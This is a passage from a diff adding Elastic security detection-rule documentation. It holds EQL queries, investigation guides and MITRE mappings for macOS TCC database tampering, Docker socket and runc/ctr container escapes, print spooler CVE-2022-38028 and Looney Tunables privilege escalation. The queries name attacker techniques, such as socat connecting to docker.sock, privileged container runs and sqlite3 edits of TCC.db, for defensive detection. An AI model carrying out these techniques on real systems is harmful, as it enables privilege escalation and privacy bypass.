(Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "scp" and + process.args like~ "StrictHostKeyChecking=no" and + process.command_line like~ ("*scp *localhost:/*", "*scp *127.0.0.?:/*") and + not process.command_line like~ "*vagrant@*127.0.0.1*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privacy-control-bypass-via-tccdb-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privacy-control-bypass-via-tccdb-modification.asciidoc new file mode 100644 index 0000000000..10705f7d3c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privacy-control-bypass-via-tccdb-modification.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-20-potential-privacy-control-bypass-via-tccdb-modification]] +=== Potential Privacy Control Bypass via TCCDB Modification + +Identifies the use of sqlite3 to directly modify the Transparency, Consent, and Control (TCC) SQLite database. This may indicate an attempt to bypass macOS privacy controls, including access to sensitive resources like the system camera, microphone, address book, and calendar. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://applehelpwriter.com/2016/08/29/discovering-how-dropbox-hacks-your-mac/ +* https://github.com/bp88/JSS-Scripts/blob/master/TCC.db%20Modifier.sh +* https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privacy Control Bypass via TCCDB Modification* + + +The Transparency, Consent, and Control (TCC) database in macOS manages app permissions for accessing sensitive resources. Adversaries may exploit this by using tools like sqlite3 to alter the TCC database, bypassing privacy controls. The detection rule identifies such attempts by monitoring for suspicious sqlite3 activity targeting the TCC database, excluding legitimate processes, to flag potential privacy control bypasses. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of sqlite3, focusing on the process name and arguments to ensure they match the pattern "sqlite*" and include the path "/*/Application Support/com.apple.TCC/TCC.db". +- Investigate the parent process of the sqlite3 activity to determine if it is a known legitimate process or if it appears suspicious, especially if it is not from "/Library/Bitdefender/AVP/product/bin/*". +- Check the timestamp of the sqlite3 activity to correlate it with any other unusual system behavior or alerts that occurred around the same time. +- Examine the user account associated with the process to determine if it has a history of legitimate administrative actions or if it might be compromised. +- Look for any recent changes or anomalies in the TCC database permissions that could indicate unauthorized modifications. +- Assess the system for other signs of compromise, such as unexpected network connections or additional unauthorized processes running, to determine if the sqlite3 activity is part of a larger attack. + + +*False positive analysis* + + +- Security software like Bitdefender may legitimately access the TCC database for scanning purposes. To prevent these from being flagged, ensure that the process parent executable path for such software is added to the exclusion list. +- System maintenance tools that perform regular checks or backups might access the TCC database. Identify these tools and add their process paths to the exclusion list to avoid false alerts. +- Developer tools used for testing applications may interact with the TCC database. If these tools are frequently used in your environment, consider excluding their process paths to reduce noise. +- Administrative scripts that automate system configurations might modify the TCC database. Review these scripts and, if deemed safe, exclude their process paths from the detection rule. +- Regular system updates or patches could trigger access to the TCC database. Monitor these events and, if consistent with update schedules, adjust the rule to exclude these specific update processes. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious sqlite3 processes identified in the alert to stop ongoing unauthorized modifications to the TCC database. +- Restore the TCC database from a known good backup to ensure that all privacy settings are reverted to their legitimate state. +- Conduct a thorough review of recent changes to the TCC database to identify any unauthorized access or modifications to sensitive resources. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring on the affected system to detect any further attempts to modify the TCC database or other unauthorized activities. +- Review and update access controls and permissions for the TCC database to ensure only authorized processes can make changes, reducing the risk of future bypass attempts. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name == "sqlite*" and + process.args like "/*/Application Support/com.apple.TCC/TCC.db" and + (process.parent.name like~ ("osascript", "bash", "sh", "zsh", "Terminal", "Python*") or (process.parent.code_signature.exists == false or process.parent.code_signature.trusted == false)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: TCC Manipulation +** ID: T1548.006 +** Reference URL: https://attack.mitre.org/techniques/T1548/006/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-through-writable-docker-socket.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-through-writable-docker-socket.asciidoc new file mode 100644 index 0000000000..149e12233b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-through-writable-docker-socket.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-20-potential-privilege-escalation-through-writable-docker-socket]] +=== Potential Privilege Escalation through Writable Docker Socket + +This rule monitors for the usage of Docker runtime sockets to escalate privileges on Linux systems. Docker sockets by default are only be writable by the root user and docker group. Attackers that have permissions to write to these sockets may be able to create and run a container that allows them to escalate privileges and gain further access onto the host file system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#automatic-enumeration-and-escape + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Domain: Container +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation through Writable Docker Socket* + + +Docker sockets facilitate communication between the Docker client and daemon, typically restricted to root or specific groups. Adversaries with write access can exploit these sockets to execute containers with elevated privileges, potentially accessing the host system. The detection rule identifies suspicious activities by monitoring processes like Docker and Socat for unauthorized socket interactions, focusing on non-root users attempting to execute commands, thus flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process name (either "docker" or "socat") and the associated arguments that triggered the alert, focusing on the use of "unix://*/docker.sock" or "unix://*/dockershim.sock". +- Check the user and group IDs associated with the process to confirm they are non-root, as indicated by the exclusion of user.Ext.real.id and group.Ext.real.id being "0". +- Investigate the user account involved in the alert to determine if they should have access to Docker sockets and whether their permissions have been misconfigured or compromised. +- Examine the system logs and Docker daemon logs for any additional context or anomalies around the time of the alert to identify any unauthorized or suspicious activities. +- Assess the current state of the system for any unauthorized containers that may have been started, and inspect their configurations and running processes for signs of privilege escalation attempts. +- Verify the integrity and permissions of the Docker socket files to ensure they have not been altered to allow unauthorized access. + + +*False positive analysis* + + +- Legitimate administrative tasks by non-root users with elevated permissions can trigger the rule. To manage this, identify trusted users or groups who regularly perform such tasks and create exceptions for their activities. +- Automated scripts or services that require Docker socket access for legitimate operations may be flagged. Review these scripts or services and whitelist their specific process names or arguments to prevent false positives. +- Development environments where developers frequently use Docker for testing might cause alerts. Consider creating a separate monitoring policy for development environments or exclude known development user accounts from this rule. +- Continuous integration/continuous deployment (CI/CD) pipelines that interact with Docker sockets can be mistakenly identified as threats. Ensure that these pipelines are running under specific service accounts and exclude these accounts from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any unauthorized Docker containers that were started by non-root users, especially those interacting with Docker sockets. +- Review and revoke any unnecessary write permissions to Docker sockets for non-root users and groups, ensuring only trusted users have access. +- Conduct a thorough audit of user accounts and group memberships on the affected system to identify and remove any unauthorized or suspicious accounts. +- Restore the system from a known good backup if unauthorized changes or access to sensitive data are detected. +- Implement monitoring and alerting for any future unauthorized access attempts to Docker sockets, focusing on non-root user activities. +- Escalate the incident to the security operations team for further investigation and to assess potential impacts on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and +( + (process.name == "docker" and process.args : "run" and process.args : "-it" and + process.args : ("unix://*/docker.sock", "unix://*/dockershim.sock")) or + (process.name == "socat" and process.args : ("UNIX-CONNECT:*/docker.sock", "UNIX-CONNECT:*/dockershim.sock")) +) and not user.Ext.real.id : "0" and not group.Ext.real.id : "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-container-misconfiguration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-container-misconfiguration.asciidoc new file mode 100644 index 0000000000..849c28f91d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-container-misconfiguration.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-20-potential-privilege-escalation-via-container-misconfiguration]] +=== Potential Privilege Escalation via Container Misconfiguration + +This rule monitors for the execution of processes that interact with Linux containers through an interactive shell without root permissions. Utilities such as runc and ctr are universal command-line utilities leveraged to interact with containers via root permissions. On systems where the access to these utilities are misconfigured, attackers might be able to create and run a container that mounts the root folder or spawn a privileged container vulnerable to a container escape attack, which might allow them to escalate privileges and gain further access onto the host file system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Domain: Container +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Container Misconfiguration* + + +Containers, managed by tools like runc and ctr, isolate applications for security and efficiency. Misconfigurations can allow attackers to exploit these tools, running containers with elevated privileges or accessing sensitive host resources. The detection rule identifies suspicious use of these utilities by non-root users in interactive sessions, flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific non-root user and group involved in the suspicious activity, as indicated by the user.Ext.real.id and group.Ext.real.id fields. +- Examine the process tree to understand the parent-child relationship of the processes, focusing on the interactive nature of both the process and its parent, as indicated by process.interactive and process.parent.interactive fields. +- Investigate the command-line arguments used with the runc or ctr utilities, particularly looking for the use of "run" and any potentially dangerous flags like "--privileged" or "--mount" that could indicate an attempt to escalate privileges. +- Check the system logs and audit logs for any additional context around the time of the alert, focusing on any other suspicious activities or anomalies involving the same user or process. +- Assess the configuration and access controls of the container management tools on the host to identify any misconfigurations or vulnerabilities that could have been exploited. + + +*False positive analysis* + + +- Non-root users in development environments may frequently use runc or ctr for legitimate container management tasks. To mitigate this, consider creating exceptions for specific user IDs or groups known to perform these actions regularly. +- Automated scripts or CI/CD pipelines might execute container commands interactively without root permissions. Identify these scripts and exclude their associated user accounts or process names from triggering the rule. +- Some system administrators may operate with non-root accounts for security reasons but still require access to container management tools. Document these users and adjust the rule to exclude their activities by user ID or group ID. +- Training or testing environments where users are encouraged to experiment with container configurations might trigger false positives. Implement a separate monitoring policy for these environments to reduce noise in production alerts. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further unauthorized access or potential lateral movement within the host system. +- Terminate any suspicious container processes identified by the detection rule to halt any ongoing privilege escalation attempts. +- Conduct a thorough review of container configurations and permissions, specifically focusing on the use of runc and ctr utilities, to identify and rectify any misconfigurations that allow non-root users to execute privileged operations. +- Implement strict access controls and enforce the principle of least privilege for container management utilities to ensure only authorized users can execute privileged commands. +- Monitor for any additional signs of compromise or unusual activity on the host system, particularly focusing on processes initiated by non-root users with elevated privileges. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on the broader environment. +- Update and enhance detection capabilities to include additional indicators of compromise related to container misconfigurations and privilege escalation attempts, ensuring timely alerts for similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Session View uses process data collected by the Elastic Defend integration, but this data is not always collected by default. Session View is available on enterprise subscription for versions 8.3 and above. + +*To confirm that Session View data is enabled:* + +- Go to “Manage → Policies”, and edit one or more of your Elastic Defend integration policies. +- Select the” Policy settings” tab, then scroll down to the “Linux event collection” section near the bottom. +- Check the box for “Process events”, and turn on the “Include session data” toggle. +- If you want to include file and network alerts in Session View, check the boxes for “Network and File events”. +- If you want to enable terminal output capture, turn on the “Capture terminal output” toggle. +For more information about the additional fields collected when this setting is enabled and the usage of Session View for Analysis refer to the https://www.elastic.co/guide/en/security/current/session-view.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.name == "runc" and process.args == "run") or + (process.name == "ctr" and process.args == "run" and process.args in ("--privileged", "--mount")) +) and not user.Ext.real.id == "0" and not group.Ext.real.id == "0" and +process.interactive == true and process.parent.interactive == true + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-cve-2022-38028.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-cve-2022-38028.asciidoc new file mode 100644 index 0000000000..5d1cdfcc42 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-cve-2022-38028.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-20-potential-privilege-escalation-via-cve-2022-38028]] +=== Potential privilege escalation via CVE-2022-38028 + +Identifies a privilege escalation attempt via exploiting CVE-2022-38028 to hijack the print spooler service execution. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2024/04/22/analyzing-forest-blizzards-custom-post-compromise-tool-for-exploiting-cve-2022-38028-to-obtain-credentials/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential privilege escalation via CVE-2022-38028* + + +CVE-2022-38028 targets the Windows Print Spooler service, a core component managing print jobs. Adversaries exploit this by manipulating specific JavaScript files within system directories to gain elevated privileges. The detection rule identifies unauthorized file presence in critical paths, signaling potential exploitation attempts, leveraging multiple data sources for comprehensive threat detection. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the file "MPDW-constraints.js" in the specified critical paths: "?:\\*\\Windows\\system32\\DriVerStoRe\\FiLeRePoSiToRy\\*\\MPDW-constraints.js" or "?:\\*\\Windows\\WinSxS\\amd64_microsoft-windows-printing-printtopdf_*\\MPDW-constraints.js". +- Check the file creation and modification timestamps to determine when the file was placed or altered in the system directories. +- Investigate the source of the file by examining recent user activity and process execution logs around the time the file appeared, focusing on any suspicious or unauthorized actions. +- Correlate the event with other data sources such as Sysmon, Microsoft Defender for Endpoint, or SentinelOne to identify any related suspicious activities or processes that might indicate exploitation attempts. +- Assess the risk and impact by determining if the affected system has any sensitive roles or access that could be leveraged by an attacker through privilege escalation. +- If malicious activity is confirmed, initiate containment measures such as isolating the affected system and conducting a full malware scan to prevent further exploitation. + + +*False positive analysis* + + +- Legitimate software updates or installations may place JavaScript files in the monitored directories. Verify the source and integrity of the software to ensure it is from a trusted vendor. +- System administrators or automated scripts might deploy or modify JavaScript files in these paths for legitimate configuration purposes. Review change management logs to confirm authorized activities. +- Security tools or system maintenance processes could temporarily create or modify files in these directories. Cross-reference with scheduled tasks or security tool logs to validate these actions. +- Exclude known benign applications or processes that frequently interact with the specified file paths by creating exceptions in the detection rule to reduce noise. +- Regularly update the detection rule to incorporate new intelligence on false positives, ensuring it remains effective and relevant. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further exploitation or lateral movement by the adversary. +- Terminate any suspicious processes related to the Windows Print Spooler service to halt ongoing exploitation attempts. +- Remove unauthorized JavaScript files, specifically "MPDW-constraints.js", from the identified critical paths to eliminate the immediate threat. +- Apply the latest security patches and updates from Microsoft to address CVE-2022-38028 and ensure the system is protected against known vulnerabilities. +- Conduct a thorough review of user accounts and privileges on the affected system to identify and revoke any unauthorized privilege escalations. +- Monitor the network and system logs for any signs of further exploitation attempts or related suspicious activities, using enhanced detection rules. +- Report the incident to the appropriate internal security team or external authorities if required, providing detailed information about the exploitation attempt and actions taken. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.name : "MPDW-constraints.js" and + file.path : ( + "?:\\*\\Windows\\system32\\DriverStore\\FileRepository\\*\\MPDW-constraints.js", + "?:\\*\\Windows\\WinSxS\\amd64_microsoft-windows-printing-printtopdf_*\\MPDW-constraints.js", + "\\Device\\HarddiskVolume*\\*\\Windows\\system32\\DriverStore\\FileRepository\\*\\MPDW-constraints.js", + "\\Device\\HarddiskVolume*\\*\\Windows\\WinSxS\\amd64_microsoft-windows-printing-printtopdf_*\\MPDW-constraints.js" + ) and + not process.executable : ( + "?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe", + "?:\\Windows\\System32\\taskhostw.exe" + ) and + not file.path : ( + "?:\\$WINDOWS.~BT\\NewOS\\Windows\\WinSxS\\*\\MPDW-constraints.js", + "\\Device\\HarddiskVolume*\\$WINDOWS.~BT\\NewOS\\Windows\\WinSxS\\*\\MPDW-constraints.js" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Services File Permissions Weakness +** ID: T1574.010 +** Reference URL: https://attack.mitre.org/techniques/T1574/010/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-cve-2023-4911.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-cve-2023-4911.asciidoc new file mode 100644 index 0000000000..8280af4848 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-cve-2023-4911.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-potential-privilege-escalation-via-cve-2023-4911]] +=== Potential Privilege Escalation via CVE-2023-4911 + +This rule detects potential privilege escalation attempts through Looney Tunables (CVE-2023-4911). Looney Tunables is a buffer overflow vulnerability in GNU C Library's dynamic loader's processing of the GLIBC_TUNABLES environment variable. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.qualys.com/vulnerabilities-threat-research/2023/10/03/cve-2023-4911-looney-tunables-local-privilege-escalation-in-the-glibcs-ld-so + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via CVE-2023-4911* + + +CVE-2023-4911 exploits a buffer overflow in the GNU C Library's dynamic loader, specifically targeting the GLIBC_TUNABLES environment variable. Adversaries can manipulate this to gain elevated privileges on Linux systems. The detection rule identifies 